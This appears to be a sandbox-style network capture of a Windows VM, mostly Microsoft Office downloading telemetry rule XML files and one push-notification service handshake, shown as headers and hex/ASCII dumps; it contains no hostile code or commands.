2024-11-17 00:38:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:16 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 4ab292c7-f01e-005d-268a-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003816Z-164f84587bfdl84ghC1DFWbbhc00000003t00000000079tp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:16 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:16 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:16 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 664ceb09-201e-0085-50bf-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003816Z-16547b76f7fbkfmzhC1DFWm9tw000000032000000000qcwh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:16 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:17 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 5d8d4d17-101e-007a-18d2-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003817Z-16547b76f7fpdsp9hC1DFW8f50000000010g00000000swnr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:17 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7749a706-f01e-005d-3209-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003817Z-16547b76f7fl5zvnhC1DFWtk9g000000021g000000004p9h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49725	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 47 69 73 6f 6b 64 77 75 79 30 2b 59 79 6c 67 69 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 36 62 65 65 65 35 31 62 38 32 30 34 64 31 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Gisokdwuy0+Yylgi.1Context: 86beee51b8204d13
2024-11-17 00:38:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-17 00:38:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 47 69 73 6f 6b 64 77 75 79 30 2b 59 79 6c 67 69 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 36 62 65 65 65 35 31 62 38 32 30 34 64 31 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Gisokdwuy0+Yylgi.2Context: 86beee51b8204d13<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-17 00:38:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 47 69 73 6f 6b 64 77 75 79 30 2b 59 79 6c 67 69 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 36 62 65 65 65 35 31 62 38 32 30 34 64 31 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Gisokdwuy0+Yylgi.3Context: 86beee51b8204d13<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-17 00:38:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-17 00:38:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 2f 4b 4c 78 42 4c 55 6a 55 2b 69 44 7a 4b 76 76 55 47 58 32 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: L/KLxBLUjU+iDzKvvUGX2g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:17 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: a09399d2-801e-0015-5284-37f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003817Z-164f84587bfrrmqdhC1DFWvu6s0000000280000000003fdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 00:38:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:17 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 4cebb1d6-301e-0099-6509-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003817Z-1866b5c5fbbvz6qbhC1DFWsyms00000002t0000000008nsb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:17 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:17 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 7d8b8a82-001e-0066-1ad2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003817Z-16547b76f7f9s8x7hC1DFWywrg00000003d0000000004d67 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:18 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:18 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003818Z-16547b76f7fm8pcwhC1DFWaxcc00000001n000000000cq2p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:18 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:18 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:18 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003818Z-16547b76f7fgvq8chC1DFWhd2w000000044g00000000a9ax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:18 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:18 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:18 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003818Z-16547b76f7fbkfmzhC1DFWm9tw000000034000000000hes8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
